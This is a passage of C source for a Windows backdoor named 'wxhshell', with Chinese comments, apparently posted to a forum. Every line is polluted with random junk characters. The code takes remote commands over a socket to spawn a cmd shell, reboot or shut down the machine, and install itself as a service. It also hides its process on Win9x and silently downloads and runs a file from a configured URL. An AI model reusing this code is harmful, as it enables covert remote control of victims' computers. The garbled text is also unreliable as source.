  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Al+}4{Q+?  
  } v Q51-.g  
  else { [nf 5<  
L:\>)6]Ls  
    switch(cmd[0]) { CrB4%W:{  
  xEg@Y"NQ  
  // 帮助 NwN3T]W  
  case '?': {  Dn#^-,H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SQJ +C%   
    break; Mq='|0,  
  } (SMk !b]}  
  // 安装 srhI%Zj  
  case 'i': { e F)my  
    if(Install()) P9)L1l<3I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ue*o>iohB  
    else H 3so&_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $;rvKco)%  
    break; W[:CCCDL  
    } `<-/e%8  
  // 卸载 uann'ho?q  
  case 'r': { s6k(K>Pl  
    if(Uninstall()) S1#5oy2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c8Nl$|B  
    else 7c!#e=W@B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); owx0J,,G  
    break; mFmxEv  
    } w:ASB>,!  
  // 显示 wxhshell 所在路径 ZgfhNI\  
  case 'p': { B'I_i$g4w  
    char svExeFile[MAX_PATH]; mD%IHzbn H  
    strcpy(svExeFile,"\n\r"); [Z^26/5a  
      strcat(svExeFile,ExeFile); 7Vu f4Z5  
        send(wsh,svExeFile,strlen(svExeFile),0); gs&F .n  
    break; nrR2U`  
    } 6mqp`x`  
  // 重启 K >Q 6  
  case 'b': { OAaLCpRp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qERJEyU?  
    if(Boot(REBOOT)) &W3Hj$>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 49ehj1Se  
    else { &3Lhb}m  
    closesocket(wsh); 1p8pH$j'  
    ExitThread(0); S9[Y1qH>K  
    } 1a mEQ  
    break; ~UHjc0  
    } Uy|Tu~  
  // 关机 \,#;gS "  
  case 'd': { Qq%~e41ec  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0mNL!"  
    if(Boot(SHUTDOWN)) 5,+fM6^V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Wndp%  
    else { k2(k0HFR  
    closesocket(wsh); %Fx ^"  
    ExitThread(0); yqH9*&KH{  
    } g_J QW(_  
    break; gvr&7=p  
    } *'*n}fM  
  // 获取shell ~14|y|\/  
  case 's': { <"8F=3:uk  
    CmdShell(wsh); 4"UH~A;^  
    closesocket(wsh); 1je/l9L  
    ExitThread(0); cl`7|;v|?  
    break; y t7>,  
  } { <1uV']x  
  // 退出 4 !m'9  
  case 'x': { 4I9Yr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2Bi?^kQ#  
    CloseIt(wsh); ;p7R~17  
    break; u@tH6k*cBz  
    } -hq^';,  
  // 离开 ?dXAHY  
  case 'q': { .[+}nA,g%~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jz S iw z  
    closesocket(wsh); K'B*D*w  
    WSACleanup(); zN9#qlfv  
    exit(1); ^Vi{._r  
    break; gjx-tp 1.  
        }  OO</d:  
  } xUNq!({T  
  } 5gkQ6& m  
/N#=Tol  
  // 提示信息 hAt4+O&P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;GKL[ tI"  
} `q`ah_  
  } zG{jRth  
i'.D=o  
  return; vz)R84   
} {Us^ 4Xe  
NwdrJw9  
// shell模块句柄 j#u{(W'r  
int CmdShell(SOCKET sock) YkE_7r(1  
{ #^yOW^  
STARTUPINFO si; 4|\  
ZeroMemory(&si,sizeof(si)); !p76I=H%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2%pU'D:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _BONN6=*y  
PROCESS_INFORMATION ProcessInfo; |UB)q5I  
char cmdline[]="cmd"; ;kWWzg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {{B'65Wu  
  return 0; zhbSiw  
} S}cR+d1}h  
X{(?p=]  
// 自身启动模式 MPKrr  
int StartFromService(void) )a5ON8?  
{ `,]_r 4~ ~  
typedef struct K#'$_0.  
{ $:# :"  
  DWORD ExitStatus; w~&#:F?  
  DWORD PebBaseAddress; 6(x53 y__  
  DWORD AffinityMask; ;Qi!~VsP;  
  DWORD BasePriority; vxug>2  
  ULONG UniqueProcessId; =qbN?a/?2  
  ULONG InheritedFromUniqueProcessId; VFMn"bYOB  
}   PROCESS_BASIC_INFORMATION; 'p78^4'PL  
X&h?1lMJ /  
PROCNTQSIP NtQueryInformationProcess; PVIZ Y^64  
q[+ h ~)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )wXE\$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ti$60Up  
;nJ2i?"  
  HANDLE             hProcess; .C &kWM&j  
  PROCESS_BASIC_INFORMATION pbi; <lNNT6[/r  
$|7=$~y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]Yf^O @<<>  
  if(NULL == hInst ) return 0; cM CM>*X  
*&\6x}.I4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cr|]\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CU*TY1%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,0ilNi>  
&5.J y2hO]  
  if (!NtQueryInformationProcess) return 0; 3,`M\#z%K  
KhP_U{)D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Zy.A9 Bh~  
  if(!hProcess) return 0; h_\( $"  
Bo14t*(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q`.=/O'  
Lb?q5_  
  CloseHandle(hProcess); )q.ZzijG/  
'U*#7 1S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dh.{lvlX|  
if(hProcess==NULL) return 0; j l]3B  
p~Cz6n  
HMODULE hMod; /Oi(5?Jn  
char procName[255]; ~wF3$H.@;  
unsigned long cbNeeded; $CJf 0[|  
4mKH |\g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SSTn |  
*M*WjEOA  
  CloseHandle(hProcess); xWqV~NnE  
`p1B58deC  
if(strstr(procName,"services")) return 1; // 以服务启动 k Jw Pd;%  
Aqz $WTHW+  
  return 0; // 注册表启动 $}0!dR2  
} MM*~X"A  
xIW]e1pu=(  
// 主模块 + !" Y C  
int StartWxhshell(LPSTR lpCmdLine) .C5<uW5-R  
{ n~BQq-1  
  SOCKET wsl; 'r ^ .Ao5  
BOOL val=TRUE; w{lj'3z I  
  int port=0; :-lq Yd5^  
  struct sockaddr_in door; Oo-4WqRJ  
tQYV4h\Qj  
  if(wscfg.ws_autoins) Install(); eK5~gnv,  
2{Dnfl'k  
port=atoi(lpCmdLine); zUDXkG*Lv  
Qds:*]vGS  
if(port<=0) port=wscfg.ws_port; UZmUYSu;  
B0A y  
  WSADATA data; Mw"[2PA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8a]g>g  
7=yjd)Iy9m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w ^^l,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nd,\<}uP9  
  door.sin_family = AF_INET; Y<kz+d,C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W(Md0*   
  door.sin_port = htons(port); =hd0Ui>x  
tZm`(2S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +5I'? _{V  
closesocket(wsl); e==/+  
return 1; #Ef!X  
} LR!%iP  
=S6bP<q  
  if(listen(wsl,2) == INVALID_SOCKET) { =R 4]Kf  
closesocket(wsl); Y:#B0FD,gC  
return 1; [u=yl0f  
} I$x<B7U  
  Wxhshell(wsl); GVu[X?q@|  
  WSACleanup(); p:$kX9mT&  
s-(c-E09  
return 0; GUD]sXSj  
W8u&5#$I  
} w1(5,~OB  
`8#xO{B1  
// 以NT服务方式启动 S 1^t;{"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g.blDOmlc  
{ [`s.fkb8  
DWORD   status = 0; 1*$6u5.=F  
  DWORD   specificError = 0xfffffff; :is2 &-|x  
|uz\XK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nUVk;0at  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w-$iKtb.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (x@J@ GP*  
  serviceStatus.dwWin32ExitCode     = 0; TuPD5-wB&  
  serviceStatus.dwServiceSpecificExitCode = 0; _ G t;=  
  serviceStatus.dwCheckPoint       = 0; i `p1e5$  
  serviceStatus.dwWaitHint       = 0; 7lAJ 0  
W"pHR sf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =sv?))b`  
  if (hServiceStatusHandle==0) return; Nu3IYS5&  
T-GvPl9ZJw  
status = GetLastError(); <n2'm  
  if (status!=NO_ERROR)  b{)kup  
{ qmGHuQVe  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AS:k&t  
    serviceStatus.dwCheckPoint       = 0; . XbDb  
    serviceStatus.dwWaitHint       = 0; 8.^`~ta  
    serviceStatus.dwWin32ExitCode     = status; N?#L{Yt  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]B8iQr-!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8''1H<f  
    return; E BoC,{R#  
  } mA%}ijR6y  
w S?Kc^2O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F Pjc;zNA  
  serviceStatus.dwCheckPoint       = 0; (fr=[m$`  
  serviceStatus.dwWaitHint       = 0;  t5S|0/f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J}4RJ9  
} VPuo!H  
p\#;(pf}s  
// 处理NT服务事件,比如:启动、停止 'rFLG+W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]TUoXU2<x  
{ 3D5adI<aq"  
switch(fdwControl) !>!jLZ0  
{ ubsv\[:C  
case SERVICE_CONTROL_STOP: xC= $ym]  
  serviceStatus.dwWin32ExitCode = 0; i$}G[v<4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @MFEBc}  
  serviceStatus.dwCheckPoint   = 0; aO?KRn  
  serviceStatus.dwWaitHint     = 0; nGK=Nf.5  
  { QhAYCw2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oa5L5Zr,A  
  } [AFGh L+t3  
  return; +XX5;;IC  
case SERVICE_CONTROL_PAUSE: d!Ws-kzE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Yt:%)&50}-  
  break; 5 ';[|f  
case SERVICE_CONTROL_CONTINUE: vl}}h%BC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5 3pfo:1'  
  break; pNuU{:9 B0  
case SERVICE_CONTROL_INTERROGATE: P,F5Hf  
  break; F.(e}EMyNh  
}; qz Hsqlof  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J8@+)hn  
}  ]SL+ZT  
/:BC<]s  
// 标准应用程序主函数 Uvi@HB HJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )' ,dP)b  
{ -`Zk`s|!  
k%sA+=  
// 获取操作系统版本 <&B] p  
OsIsNt=GetOsVer(); A,4} $-7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =z<sx2#*  
MIZ!+[At  
  // 从命令行安装 iWUxB28  
  if(strpbrk(lpCmdLine,"iI")) Install(); e$Y7V  
=*6frC~  
  // 下载执行文件 tBwPB#:W  
if(wscfg.ws_downexe) { sT<h+[2d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '&gUAt  
  WinExec(wscfg.ws_filenam,SW_HIDE); j\Fbi3H  
} $(OL#>9Ly  
B=X_c5  
if(!OsIsNt) { V1G5Kph  
// 如果时win9x,隐藏进程并且设置为注册表启动 ; +Ie<oW  
HideProc(); @8:c3 (!  
StartWxhshell(lpCmdLine); ntL%&wY  
} Q'ib7R;V,  
else :'fK`G 6  
  if(StartFromService()) {+kWK;1  
  // 以服务方式启动 &@2`_%QtA  
  StartServiceCtrlDispatcher(DispatchTable); @Y(7n/*  
else :,/ \E  
  // 普通方式启动 X C390t  
  StartWxhshell(lpCmdLine); 6/(Z*L"~6k  
(f#{<^gd  
return 0; )^ )|b5,  
}
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只看该作者 1 发表于: 2006-10-10
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